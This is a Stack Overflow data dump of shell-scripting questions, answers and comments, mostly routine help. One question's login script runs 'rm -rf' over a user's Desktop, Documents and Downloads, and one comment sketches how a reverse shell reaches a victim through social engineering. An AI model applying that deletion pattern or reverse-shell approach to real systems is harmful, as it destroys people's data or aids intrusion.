has body: Your code is: open_gnome_terminal () { gnome-terminal \ --window -- bash -ic "echo tab1; exec bash;" \ --tab -- bash -ic "echo tab2; exec bash;" \ --tab -- bash -ic "echo tab3; exec bash;" } This invokes gnome-terminal with one option --window. Then option processing is terminated by --. The rest of the "line" is a program to run and its arguments: bash -ic "echo tab1; exec bash;" --tab -- bash -ic "echo tab2; exec bash;" --tab -- bash -ic "echo tab3; exec bash;" bash reads a command from the argument following -c. The next argument (--tab) is used to set its $0. The remaining arguments are ignored (since you did not refer to them in the first -c command). To do what you want, the --command option is deprecated but appears to still work on my machine: open_gnome_terminal() { gnome-terminal \ --window --command 'bash -ic "echo tab1; exec bash"' \ --tab --command 'bash -ic "echo tab2; exec bash"' \ --tab --command 'bash -ic "echo tab3; exec bash"' } My manpage warns that this is not an actual shell commandline. I would probably put more complicated code into a shell script and invoke that (--command /path/to/my/script)
accepted answer of: http://stackoverflow.com/q/77135598
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/q/77124682
has title: "read" command does not wok in /bin/sh script
linked to: http://stackoverflow.com/q/26144029
type: Question
tagged with: stdout
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135962335
has comment: http://stackoverflow.com/comment/136027228
tagged with: sh
tagged with: zsh
has comment: http://stackoverflow.com/comment/135962514
has comment: http://stackoverflow.com/comment/135962928
score: 0
linked to: http://stackoverflow.com/q/2746553
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135962356
has comment: http://stackoverflow.com/comment/135962530
has body: I need to read output of one command into variables. Here is simplified examle: #!/bin/sh echo AAA BBB | read X Y echo $X this echos empty string. Whereas when i use /bin/zsh as shell, it works as expected. Why does the read command not work in /bin/sh ?
tagged with: posix
duplicate of: http://stackoverflow.com/q/26144029

http://stackoverflow.com/comment/135935831
comment on: http://stackoverflow.com/q/77100448
score: 0
type: QuestionComment
has text: OK I read about it and I understand now. But you cannot create a reverse shell without first exploiting some vulnerability in the target machine so that you can run the command to create the shell. From a web application there is no way to run that command on the user's local machine in the first place, except perhaps by carrying out some social engineering attack where you convince the user to download and execute the script which opens the shell connection. You cannot fully automate it. Unlike a webserver you cannot exploit something like sql or xss injection to get the code on there.
type: Comment

http://stackoverflow.com/comment/136093829
score: 0
has text: And there's no reason to `cd ..` at the end of a script: the current working directory is local to the script interpreter and lost when it exits; this isn't Windows command shell where scripts are run by the interactive interpreter that called them (and thus where `cd` operations can be propagated up) unless you explicitly use `source` or the dot operator to force that behavior.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77198302

http://stackoverflow.com/comment/135889370
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77082545
has text: @JérémyCaré Sure. It's just irrelevant, because the question is about the initialization phase. This is explicitly stated in the question: "Here is the relevant code (i.e. the code that executes outside of any function):"
type: Comment

http://stackoverflow.com/comment/136161193
score: 0
has text: Error: `awk: can't open file 3401 source line number 1`
comment on: http://stackoverflow.com/a/77225838
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135935391
comment on: http://stackoverflow.com/a/77101166
has text: Need help with unix shell scripting
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/135928872
type: QuestionComment
has text: I mean in the intelliJ Terminal
type: Comment
comment on: http://stackoverflow.com/q/77105912
score: 0

http://stackoverflow.com/a/77204784
has comment: http://stackoverflow.com/comment/136105669
has comment: http://stackoverflow.com/comment/136105759
has comment: http://stackoverflow.com/comment/136105747
upvote count: 1
has comment: http://stackoverflow.com/comment/136105633
has comment: http://stackoverflow.com/comment/136105686
has comment: http://stackoverflow.com/comment/136105782
has comment: http://stackoverflow.com/comment/136106735
score: 0
has comment: http://stackoverflow.com/comment/136105729
has comment: http://stackoverflow.com/comment/136105725
has comment: http://stackoverflow.com/comment/136105665
has comment: http://stackoverflow.com/comment/136105676
has comment: http://stackoverflow.com/comment/136105738
has comment: http://stackoverflow.com/comment/136107845
has body: This should give what's expected : grep -Po 'URL=\K.*' myfile.txt
has comment: http://stackoverflow.com/comment/136105744
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/136105673
answers question: http://stackoverflow.com/q/77204735

http://stackoverflow.com/comment/135928924
score: 1
type: Comment
comment on: http://stackoverflow.com/q/77105912
type: QuestionComment
has text: IntelliJ IDEA terminal should work the same as your "normal command prompt".

http://stackoverflow.com/comment/135992496
has text: The values for `Something` is unique in this case, so no need for multiple occurunces.
type: Comment
comment on: http://stackoverflow.com/q/77141159
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135980924
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77135067
type: Comment
has text: Apologize for incomplete comment I have edited it.

http://stackoverflow.com/q/77228708
tagged with: shell
tagged with: marklogic
type: UnansweredQuestion
answer count: 1
tagged with: marklogic-10
has answer: http://stackoverflow.com/a/77229144
score: 0
has title: taking marklogic backup using rest api
type: Question
has body: #!/bin/bash curl --anyauth --user admin:admin -X POST -i -d @./bkp.xqy \ -H "Content-type: application/x-www-form-urlencoded" \ -H "Accept: multipart/mixed; boundary=BOUNDARY" \ http://localhost:8000/v1/eval I m trying above shell script and my bkp.xqy looks like this xquery version "1.0-ml"; xdmp:database-backup(xdmp:database-forests(xdmp:database("Documents")), "C:\Users\C70945\mlbackup", fn:true(), "C:\Users\C70945\mlbackup", 15) when i run shell i get the below error HTTP/1.1 403 Forbidden Server: MarkLogic Connection: close Content-Type: text/html; charset=UTF-8 403 Forbidden Forbidden You have attempted to access an HTTPS server using HTTP. I am looking for to take a backup using this shell script

http://stackoverflow.com/comment/136059756
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77158108
has text: @Ashok do you mean the script isn't running, it's throwing some error, or producing the wrong results? I don't have your data, so if you want help you'll need to be more specific.

http://stackoverflow.com/comment/135977601
type: Comment
score: 0
has text: Hi @ufopilot -- I know you have a good shell scripting programming. Could you please help me?
comment on: http://stackoverflow.com/q/77132631
type: QuestionComment

http://stackoverflow.com/comment/136076543
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/77188462
score: 0
has text: what does `xxx.net/scripts/add-ubi8-repo.sh` do . i ran the install command bellow that without the above line and it was ok

http://stackoverflow.com/comment/136064501
type: QuestionComment
type: Comment
has text: If you are using `sh` to run your script, `${variable/replacement}` won't work; but `${variable%suffix}` will. See also [Difference between sh and bash](https://stackoverflow.com/questions/5725296/difference-between-sh-and-bash)
comment on: http://stackoverflow.com/q/77181016
score: 3

http://stackoverflow.com/comment/135868151
type: QuestionComment
has text: Your system is already in the hands of a most probably malicious attacker, you should reinstall Windows asap.
type: Comment
comment on: http://stackoverflow.com/q/77070425
score: 3

ant
tags question: http://stackoverflow.com/q/77199964
tag name: ant
type: Tag

http://stackoverflow.com/q/77096305
has answer: http://stackoverflow.com/a/77096359
score: 0
has body: I have found something interesting about "export" command. Assume, we have server Main and server Secondary. We are on Main server. Where is a script.sh on Secondary server, that has following content: #!/bin/bash echo $CI Our goal is to pass env variables from Main to Secondary via ssh. If we use command: export CI="CD" && ssh Secondary "echo $CI > file ; cat file ; export CI=$CI; rm -f file ; ./script.sh" output will be: CD CD But if we use command: export CI="CD" && ssh Secondary "echo $CI > file ; cat file ; export CI; rm -f file ; ./script.sh" output will be: CD Why does it work this way? Why ./script.sh doesn't get variable $CI in second example? May be where is any depth of export command?
tagged with: shell
has answer: http://stackoverflow.com/a/77096393
type: UnansweredQuestion
has title: Why export command works that way?
answer count: 2
tagged with: linux
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/135912050

http://stackoverflow.com/comment/136131775
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77168940
type: QuestionComment
has text: Thank you @GordonDavisson. Looks like you're correct. Created a PPPC profile that granted zsh access to each directory. Worked like a charm. Looks like [the good ol' days](https://www.youtube.com/watch?v=FxOIebkmrqs) are behind us.

http://stackoverflow.com/q/77192256
upvote count: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion
has title: How can I add a "SET ECHO ON" to a SQL query piped into sqlcl as I can do with "SET SQLFORMAT CSV"?
accepted answer: http://stackoverflow.com/a/77193805
tagged with: sqlplus
downvote count: 0
tagged with: sqlcl
type: Question
has body: For embedding in Unix shell scripts I want to execute a set of SQL commands and exit sqlcl straight afterwards. For this I use successfully the pipe-from-stdin method: echo "SELECT COLA FROM MYTABLE;" | sql -L <connectionstr> which return the query result to stdout. Great! Now I want to "decorate" the query with some directives for sqlcl. E.g. I want to change the output format: echo "SET SQLFORMAT CSV;\n SELECT COLA FROM MYTABLE;" | sql -L <connectionstr> Works like a beauty! Sometimes I want to add echoing of the SQL command: echo "SET ECHO ON;\n SELECT COLA FROM MYTABLE;" | sql -L <connectionstr> Surprisingly this does not work! The "SET ECHO ON;" directive is ignored. However if I do echo "SET ECHO ON;\n SELECT COLA FROM MYTABLE;" >combined_query.sql echo @combined_query.sql | sql -L <connectionstr> then it works. Is there a way to make "SET ECHO ON;" work in a direct pipe without the detour via a file?
tagged with: shell
has answer: http://stackoverflow.com/a/77193805
score: 1
tagged with: oracle-database
tagged with: pipe

http://stackoverflow.com/comment/135963181
comment on: http://stackoverflow.com/a/77124913
has text: @MarkSetchell Because of my way of reflexion... I'd made some tests using `ls -l | ...`, so I was thinking *filter*. Using redirection is a *natural* way of working with a *filter*. Anyways you're right there is no **need** to use redirection.
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/a/77235822
answers question: http://stackoverflow.com/q/77235620
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/136166012
has comment: http://stackoverflow.com/comment/136171170
type: Answer
has comment: http://stackoverflow.com/comment/136163186
has comment: http://stackoverflow.com/comment/136165852
has body: Given a JSON input like { "member": [ { "firstName": "Paul", "lastName": "Simons", "certificates": [ { "status": "Pass", "grade": { "type": "music", "level": 3 }, "awardDate": "2023-01-28" }, { "status": "Pass", "grade": { "type": "sports", "level": 2 }, "awardDate": "2021-02-02" }, { "status": "Pass", "grade": { "type": "music", "level": 2 }, "awardDate": "2021-02-02" } ] } ] } You could use group_by to combine same grade types, and max_by to get the one with the highest grade level: .member[] | ["\(.firstName) \(.lastName)", (.certificates | group_by(.grade.type)[] | max_by(.grade.level) | "[\(.grade.type), \(.grade.level), \(.awardDate)]" )] | join(", ") + "." Paul Simons, [music, 3, 2023-01-28], [sports, 2, 2021-02-02]. Demo
accepted answer of: http://stackoverflow.com/q/77235620
has comment: http://stackoverflow.com/comment/136172970
has comment: http://stackoverflow.com/comment/136163767
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/q/77204152
has comment: http://stackoverflow.com/comment/136105118
tagged with: shell
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/136105009
has title: how to cat mulitiple variables and store the value to another variable in shellscript
duplicate of: http://stackoverflow.com/q/4651437
has body: i have a script to parse filename in a directory and tried to construct the full table names: _keySpace=$(sed 's/CREATE KEYSPACE IF NOT EXISTS//I' cassandra/tables/keyspace_dev.cql|sed 's/CREATE KEYSPACE//I'|awk '{print $1}') => test_keyspace for _dataFile in `ls cassandra/tables/data/*.csv` do echo "${_dataFile}" => cassandra/tables/data/a.csv tableName= echo "${_dataFile}" | awk -F'[/.]' '{print $4}' echo "${tableName}" => a fullName="${_keySpace}.${tableName}" echo "$_keySpace.$tableName". => not working, only output test_keyspace. done how can i cat keySpace and tableName to be like test_keyspace.a?
has comment: http://stackoverflow.com/comment/136105097
has comment: http://stackoverflow.com/comment/136104487
linked to: http://stackoverflow.com/q/4651437
has comment: http://stackoverflow.com/comment/136105084
score: 0
has comment: http://stackoverflow.com/comment/136104583
type: Question

http://stackoverflow.com/comment/136104487
type: Comment
score: 1
type: QuestionComment
has text: `echo "$_keySpace.$_tableName". => not working, only output test_keyspace.` Well your variable is called `tableName`, not `_tableName`.
comment on: http://stackoverflow.com/q/77204152

http://stackoverflow.com/q/77168940
tagged with: shell
has comment: http://stackoverflow.com/comment/136041093
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/136131775
score: 0
tagged with: launch-agent
has comment: http://stackoverflow.com/comment/136041339
has body: I have a script that I am trying to get to run at login. The script is meant to clear the contents of the Desktop, Documents, and Downloads folders. I'm using a launch agent to trigger the script to run at load. When I run the script manually, everything functions as expected. All directories are cleared, just as they should be. However, when that same script is triggered by a Launch Agent, stderr reports "no matches found: /Users/jdoe/Desktop/*" and stdout reports "Checking /Users/jdoe/Desktop". None of the other directories are even checked. #!/bin/zsh # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Removes files from the specified directories # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Define Variables userName="jdoe" directories=("Desktop" "Documents" "Downloads") # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Define functions removeFiles() { local folder="/Users/$userName/$dir" for file in "$folder"/* do echo "Removing $file" /bin/rm -rf "$file" done } clearFiles() { date for dir in "${directories[@]}" do echo "Checking folder $dir" removeFiles done } # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # main clearFiles exit 0 Here is the Launch Agent which is saved at /Users/jdoe/Library/LaunchAgents/ <?xml version="1.0" encoding="UTF-8"?> Label domain.label Program /bin/zsh ProgramArguments /PATH/TO/script.sh RunAtLoad <true/> StandardErrorPath /PATH/TO/domain.label.filename.stderr StandardOutPath /PATH/TO/domain.label.filename.stdout I've also tried variations of the plist. For example: <?xml version="1.0" encoding="UTF-8"?> Label domain.label ProgramArguments /PATH/TO/script.sh RunAtLoad <true/> StandardErrorPath /PATH/TO/domain.label.filename.stderr StandardOutPath /PATH/TO/domain.label.filename.stdout When the script is created the folowing function sets it's permissions: setScriptPermissions() { chown jdoe ${script} chmod 755 ${script}…
has comment: http://stackoverflow.com/comment/136041443
answer count: 1
tagged with: zsh
has answer: http://stackoverflow.com/a/77219057
has title: Shell script works when run manually, fails if run by a launch agent
type: Question
tagged with: macos

http://stackoverflow.com/q/77154642
upvote count: 1
linked to: http://stackoverflow.com/q/40536556
has comment: http://stackoverflow.com/comment/136015940
score: 0
has comment: http://stackoverflow.com/comment/136017772
has body: I'm going through an open source textbook on operating systems, and this is one of the first code examples (filename is "cpu.c"): #include <stdio.h> #include <stdlib.h> #include <time.h> #include <assert.h> #include <stdio.h> int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "usage: cpu <string>\n"); exit(1); } char *str = argv[1]; while (1) { sleep(1); printf("%s\n", str); } return 0; } When I run "./cpu 'A'" in a terminal, everything works fine and I can terminate it using Ctrl + C. However, when I run the code using ./cpu A & ./cpu B & ./cpu C & ./cpu D & making multiple instances of the program run, and try using Ctrl + C, the code continues to run indefinitely. I have read online that Ctrl + Z can work, but it doesn't help. Is there a way to end the 4 programs running without closing the terminal? I have looked at this but I don't believe it will help with my problem.
has answer: http://stackoverflow.com/a/77154705
has comment: http://stackoverflow.com/comment/136015909
answer count: 2
tagged with: operating-system
tagged with: shell
has title: Ctrl + C does not work specifically when trying to run multiple instances of a C program
tagged with: http://stackoverflow.com/tag/c
possible better answer: http://stackoverflow.com/a/77154705
tagged with: bash
favorite count: 0
type: AnsweredQuestion
downvote count: 1
has answer: http://stackoverflow.com/a/77154702
type: Question
accepted answer: http://stackoverflow.com/a/77154702

http://stackoverflow.com/q/77060368
type: Question
tagged with: shell
has title: How to read array records with specific header name
score: 1
has answer: http://stackoverflow.com/a/77092712
has comment: http://stackoverflow.com/comment/135865873
tagged with: sh
has comment: http://stackoverflow.com/comment/135865586
downvote count: 0
upvote count: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135852214
has body: I have specific records as below in one array $rolerows each record delimited by new line: name roleTemplateAppId roleTemplateName description AccessAllAccessPoliciesArtifacts it!b2455 AccessAllAccessPoliciesArtifacts Role for accessing artifacts despite access policies are maintained AccessPoliciesEdit it!b2455 AccessPoliciesEdit Role for maintaining/creating access policies AccessPoliciesRead it!b2455 AccessPoliciesRead Role for reading access policies I like to create a new array which will split each record by header. Consecutive delimiters(space) should be as one since it does not really have any delimiter. Start of new header value defined new field. name, roletemplateappID, roleTemplateName,description exact Length of each column is not known but it will be based on where column first line of header it starts as shown in my sample data. How do I create new array which is organized in 4 separate column ?
accepted answer: http://stackoverflow.com/a/77092712
has comment: http://stackoverflow.com/comment/135901737

http://stackoverflow.com/comment/136122272
type: QuestionComment
type: Comment
has text: Thanks @starball. Strangely, `os.environ['SHELL']` (in the notebook) returns the same filepath as `echo $SHELL` in the terminal (`/opt/homebrew/bin/bash`). Yet, in the former, `os.environ['BELVIS_USR']` gives a keyerror, whereas `echo $BELVIS_USR` in the terminal has the expected value. The export `BELVIS_USR` is defined in `~/.bashrc`. Am I missing a step that makes the export available in the notebook?
comment on: http://stackoverflow.com/q/77205859
score: 0

http://stackoverflow.com/a/77186619
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/136073292
has comment: http://stackoverflow.com/comment/136073093
upvote count: 1
answers question: http://stackoverflow.com/q/77186551
type: Answer
has body: why my bash multidimensional array code is not working? Because Bash does not support multidimensional arrays. In particular, Bash does not support assigning a list to an array member, which should be included in the error message: $ array[0]=(1 2 3) -bash: array[0]: cannot assign list to array member
accepted answer of: http://stackoverflow.com/q/77186551
score: 1

http://stackoverflow.com/q/77118220
has comment: http://stackoverflow.com/comment/138443161
has comment: http://stackoverflow.com/comment/135951677
upvote count: 1
has title: How can script command line arguments be parsed portably?
has comment: http://stackoverflow.com/comment/135950982
has comment: http://stackoverflow.com/comment/138452382
tagged with: posix
score: 0
type: Question
has body: I have a script that I use to take screenshots. It runs maim in the background and provides a more convenient interface than just running the command by itself (much less to type, simpler, mnemonic options, saves screenshots to a directory with unique names). Basic usage of this script (assuming that it is in $PATH) is: screenshot <opts> <screenshot_type>. #!/bin/dash # Set the right default permissions for files umask 077 # Directory where screenshots are saved screenshots_directory="$HOME"/pictures/screenshots # Notifications (default none) notifications=0 # Error messages directory_error_message="$screenshots_directory is not properly configured. Halting." flag_error_message="contains an invalid flag. Halting." type_error_message="is an invalid screenshot type. Halting." screenshot_error_message="Failed to take the screenshot." # Exit handler (exit status, stdout, stderr, notifications) exit_handler () { exit_code=$1 exit_notification_title="$2" message="$3" notify_opts=' ' if [ "${exit_code}" -gt 0 ]; then notify_opts='--urgency=critical --expire-time=7000' echo "${message}" 1>&2 else echo "${message}" fi shift 3 [ "$notifications" -eq 1 ] && notify-send $notify_opts "${exit_notification_title}" "${*:-$message}" exit "$exit_code" } # Parse optional flags, save them and remove them from the positional parameters opts='' curropt='' optgroup='' virtoptgroup='' while getopts "bcdn" curropt; do paramgroup="$1" case "$curropt" in b) flag="--capturebackground" ;; c) flag="--hidecursor" ;; d) flag="--delay=0.2 --quiet" ;; n) notifications=1 ;; *) exit_handler 1 "Error" "'${1}' $flag_error_message" ;; esac virtoptgroup="${virtoptgroup}${curropt}" optgroup="${optgroup} ${flag}" if [ "-${virtoptgroup}" = "$paramgroup" ]; then opts="${opts}${optgroup}" shift 1 virtoptgroup='' optgroup='' fi done echo "$#" This part of the script is supposed to parse the arguments and remove them from the positional parameters or exit the script with an error if invalid arguments are provide…
type: UnansweredQuestion
tagged with: bash
favorite count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/135963028
has comment: http://stackoverflow.com/comment/138452804
has comment: http://stackoverflow.com/comment/138442372
tagged with: zsh
answer count: 0
tagged with: getopts
tagged with: shell
has comment: http://stackoverflow.com/comment/135950354

http://stackoverflow.com/a/77176514
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/77170094
score: 0
accepted answer of: http://stackoverflow.com/q/77170094
has body: I have found a solution to this problem: num4="${dir}_${2}_${3}_$date"
type: Answer

http://stackoverflow.com/a/77188909
type: Answer
has comment: http://stackoverflow.com/comment/136078414
has comment: http://stackoverflow.com/comment/136080416
score: 4
upvote count: 4
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/136080105
accepted answer of: http://stackoverflow.com/q/77188280
has comment: http://stackoverflow.com/comment/136078043
has comment: http://stackoverflow.com/comment/136090005
has body: As you see, I subscribe to each topic separately using separate mosquitto_sub and the received messages are then passed to the handle_message function, which handles the logic based on the topic and I also use the & operator to run the first mosquitto_sub in the background, so that both subscriptions can be active simultaneously! #!/bin/bash SOURCE_BROKER="192.168.1.37" DEST_BROKER="192.168.1.25" # Function to handle the received message handle_message() { topic="$1" message="$2" # This is a callback to be executed every time a client subscribes to a topic echo "Client subscribed to ${topic}" # Check the topic and redirect the subscription if [ "$topic" == "0_0" ]; then # Publish the message to the broker (SOURCE_BROKER) mosquitto_pub -h "$SOURCE_BROKER" -t "$topic" -m "$message" -u pi -P Pass123 elif [ "$topic" == "0_1" ]; then # Publish the message to the new broker (DEST_BROKER) mosquitto_pub -h "$DEST_BROKER" -t "$topic" -m "$message" -u pi -P Pass123 fi #exit the loop after forwarding the message exit } # Subscribe to both topics ("0_0" and "0_1") mosquitto_sub -h "$SOURCE_BROKER" -t "0_0" -u pi -P Pass123 | while read -r message do handle_message "0_0" "$message" done & mosquitto_sub -h "$SOURCE_BROKER" -t "0_1" -u pi -P Pass123 | while read -r message do handle_message "0_1" "$message" done
answers question: http://stackoverflow.com/q/77188280

http://stackoverflow.com/comment/135983744
score: 0
type: Comment
type: QuestionComment
has text: Please trim your code to make it easier to find your problem. Follow these guidelines to create a [minimal reproducible example](https://stackoverflow.com/help/minimal-reproducible-example).
comment on: http://stackoverflow.com/q/77124990

http://stackoverflow.com/comment/136061292
type: QuestionComment
type: Comment
has text: @KamilCuk I added an example output there.
score: 0
comment on: http://stackoverflow.com/q/77171901

http://stackoverflow.com/a/77075213
answers question: http://stackoverflow.com/q/77075130
type: AcceptedAnswer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/77075130
type: Answer
downvote count: 0
has body: The problem is how you run the script. You tell it to use sh instead of bash. Instead do bash scr.sh or make the file executable chmod +x scr.sh and then you can run it without manually specifying the scripting language every time: ./scr.sh

http://stackoverflow.com/q/77171720
tagged with: kubernetes
upvote count: 1
favorite count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/136046387
has comment: http://stackoverflow.com/comment/136046229
has title: Unable to run a Shell inside a k8s pod
has answer: http://stackoverflow.com/a/77171766
has comment: http://stackoverflow.com/comment/136047746
type: Question
has comment: http://stackoverflow.com/comment/136047043
possible better answer: http://stackoverflow.com/a/77171766
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136047032
has comment: http://stackoverflow.com/comment/136047334
accepted answer: http://stackoverflow.com/a/77172140
has answer: http://stackoverflow.com/a/78074149
tagged with: kubectl
has answer: http://stackoverflow.com/a/77172020
score: 0
has answer: http://stackoverflow.com/a/77172140
has body: When I run the command kubectl exec -it backstage-test01-5d877c7f54-425s6 -n customer-namespaces -- /bin/bash it returns this error : Defaulted container "linkerd-proxy" out of: linkerd-proxy, backstage-backend, linkerd-init (init) error: Internal error occurred: error executing command in container: failed to exec in container: failed to start exec "eec3a58e120807f9dbea37e3c827850cc69690a4c0febd03ef6174b30a314fb7": OCI runtime exec failed: exec failed: unable to start container process: exec: "/bin/bash": stat /bin/bash: no such file or directory: unknown And here is the view I get in Containers tab for my pod. I tried to execute a shell inside a kubernetes pod but I am getting an error saying that "bin/bash: no sush file or directory: unknown"
answer count: 4
tagged with: shell
tagged with: bash

http://stackoverflow.com/comment/136155526
type: Comment
comment on: http://stackoverflow.com/q/77231881
has text: On the server you create a pty. Then fork a shell whose stdin, stdout, and stderr are duped to the slave end of the pty. The server relays between the pty master and the network.
score: 1
type: QuestionComment

http://stackoverflow.com/comment/136112346
has text: I changed it, but it's not changing the error
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77208491

http://stackoverflow.com/comment/136180776
has text: Thanks for your updates. I know some simple VB terminologies and logic, but nothing for java script. I believe the updated codes in code 1 makes the things more complicated for me. I revised and tested original code 1, and it works. The changes I did is I replace Array("6:7.000", "12:6.000", "24:5.000") by Array(Sheets("Sheet1").range("E2")......)
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77230785

http://stackoverflow.com/a/77146064
type: Answer
has body: What I would do using shell tools: printf '%s\n' "$endDatetime" "$startDatetime" | xargs -I{} date -d "{}" "+%s%N" | paste -sd '-' | bc %N are nanoseconds. Output 626848000
downvote count: 0
answers question: http://stackoverflow.com/q/77142682
score: 1
upvote count: 1

http://stackoverflow.com/comment/136050679
score: 0
type: Comment
has text: @PaulHodges are you asking about how to handle duplicate tags in the input? I just updated my answer to state it assumes that doesn't happen.
type: AnswerComment
comment on: http://stackoverflow.com/a/77173782

http://stackoverflow.com/q/77173353
score: 0
has comment: http://stackoverflow.com/comment/136049286
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/136049407
tagged with: shell
tagged with: hadoop
type: UnansweredQuestion
has body: I am trying to cat files that are not gz hdfs dfs -cat /*.gz How do I cat all files that do not end with .gz?
has title: Cat files in Hadoop that do not end with gz
has comment: http://stackoverflow.com/comment/136049355
tagged with: bash
has comment: http://stackoverflow.com/comment/136049262
duplicate of: http://stackoverflow.com/q/77173220
tagged with: sh
linked to: http://stackoverflow.com/q/77173220

http://stackoverflow.com/a/77195227
accepted answer of: http://stackoverflow.com/q/77181016
type: AcceptedAnswer
score: 0
answers question: http://stackoverflow.com/q/77181016
type: Answer
has body: So I got (rightfully) admonished for providing an answer that would get the job done but was a bit buggy. So I just deleted the whole disaster and gave it another try. I'm sure the senior contributors on this platform could improve it but this was my best shot. I added in a catches to return messages if paths aren't correct. Feel free to ignore whatever is not useful to you. Hopefully it helps! #!/bin/bash # Set the input directory containing .fastq.gz files input_dir="/storage/home/user/work/fastq_data" # Set the output directory for .sam and summary files output_dir="/storage/home/user/work/fastq_data/gene_alignment" #Ignore this if you want: I always like to add a little message #to let me know whether I typed my paths in wrong :) #Confirm input path exists if [ -d "$input_dir" ]; then echo "$input_dir found. Continuing..." else echo "$input_dir does not exist. Exiting..." exit fi #Confirm *fastq.gz files are in input_dir if find "$input_dir" -type f -name "*.fastq.gz" -print -quit | grep -q .; then echo "Files with .fastq.gz extension exist in $input_dir" else echo "No files with .fastq.gz extension found in $input_dir" exit fi #Confirm output directory path exists if [ -d "$output_dir" ]; then echo "$output_dir found. Continuing..." else echo "$output_dir does not exist. Creating new..." mkdir -p "$output_dir" fi #Again, your choice. I prefer for loops over while loops. Totally your call for file in `ls ${input_dir}/*.fastq.gz`; do filename=$(basename "$file") new_name=$(echo "$filename" | sed 's/_R_001//g') output_sam="${output_dir}/${new_name/.fastq.gz/.sam}" summary_file="${output_dir}/${new_name/.fastq.gz/.summary}" hisat2 -p 8 -x musculus_index -U "${input_file}" -S "${output_sam}" --dta-cufflinks 2>&1 | tee "${summary_file}" echo "Processed ${file}" done echo "Processing complete."

http://stackoverflow.com/q/77163838
upvote count: 0
type: UnansweredQuestion
tagged with: python
score: -1
has body: I'm trying to call the command & 'C:\Users\USERNAME\AppData\Local\Programs\Microsoft VS Code\bin\code' --folder-uri='vscode-remote://ssh-remote+SERVER.domain.net/home/USERNAME/Dropbox/Projects/PROJECTNAME' from a Python script with codepath = os.path.join(os.environ['LocalAppData'], 'Programs', 'Microsoft VS Code', 'bin', 'code') path_parts = ( "--folder-uri='vscode-remote://ssh-remote+SERVER.domain.net/home/USERNAME/Dropbox/Projects/PROJECTNAME'", ) subprocess.call([codepath] + list(path_parts), shell=True) If I put that first command into an interactive powershell, vscode opens fine, (modulo replacing the upper-case placeholders with actually existing things). If I do "C:\Users\USERNAME\AppData\Local\Programs\Microsoft VS Code\Code.exe" --folder-uri="vscode-remote://ssh-remote+SERVER.tomsb.net/home/USERNAME/Dropbox/Projects/PROJECTNAME" in an interactive windows Command Prompt, it opens. However, the python code just opens vscode as if no arguments were given (or as if a garbled local path was given--I can open local directories by providing them as the second entry in the first call argument. How can I debug this??
has comment: http://stackoverflow.com/comment/136032270
tagged with: visual-studio-code
answer count: 1
favorite count: 0
has title: Why are my arguments ignored only when passed with `subprocess.call`?
downvote count: 1
has answer: http://stackoverflow.com/a/77169549
has comment: http://stackoverflow.com/comment/136032369
type: Question
has comment: http://stackoverflow.com/comment/136032041
tagged with: shell

http://stackoverflow.com/q/77197549
has comment: http://stackoverflow.com/comment/136092561
linked to: http://stackoverflow.com/q/17529220
has comment: http://stackoverflow.com/comment/136092517
has comment: http://stackoverflow.com/comment/136093294
has comment: http://stackoverflow.com/comment/136092552
answer count: 0
has comment: http://stackoverflow.com/comment/136094551
tagged with: bash
has comment: http://stackoverflow.com/comment/136093354
has title: Using bash eval on a complex single-quoted string
has comment: http://stackoverflow.com/comment/136095065
has comment: http://stackoverflow.com/comment/136093317
tagged with: eval
score: 0
has comment: http://stackoverflow.com/comment/136093118
type: Question
tagged with: shell
has body: I have programmatically constructed a string that I want to pass to eval in bash. This is the string: finalcommand='for user in $(aws iam list-users --output text --profile myprofile --region us-west-2 | awk '\'' { print $NF } '\'' ); do aws iam list-access-keys --user $user --output json --profile profile --region us-west-2 ; done | jq -r . | aha --black | tee /home/mycompany/outputhtml-myprofile2343.html' I pass it through a piece of code to eval it: result=$( eval $finalcommand ) But this is what I get back: /scriptcommandbuilder.sh: line 221: for user in $(aws iam list-users --output text --profile myprofile --region us-west-2 | awk ' { print $NF } ' ); do aws iam list-access-keys --user $user --output json --profile myprofile --region us-west-2 ; done | jq -r . | aha --black | tee /home/mycompany/outputhtml-2342343.html: No such file or directory It appears that eval is taking in the entire variable of $finalcommand, and then trying to execute it as a filename, when I want it to simply parse it as a string of commands. If I copy/paste the output from above, it works as it should. I have tried a lot of various ways to get eval to accept this string as a set of commands, but it continues to see it as one huge filename/string. How can I get it to see the string as commands? I tried pulling off the quotes before passing 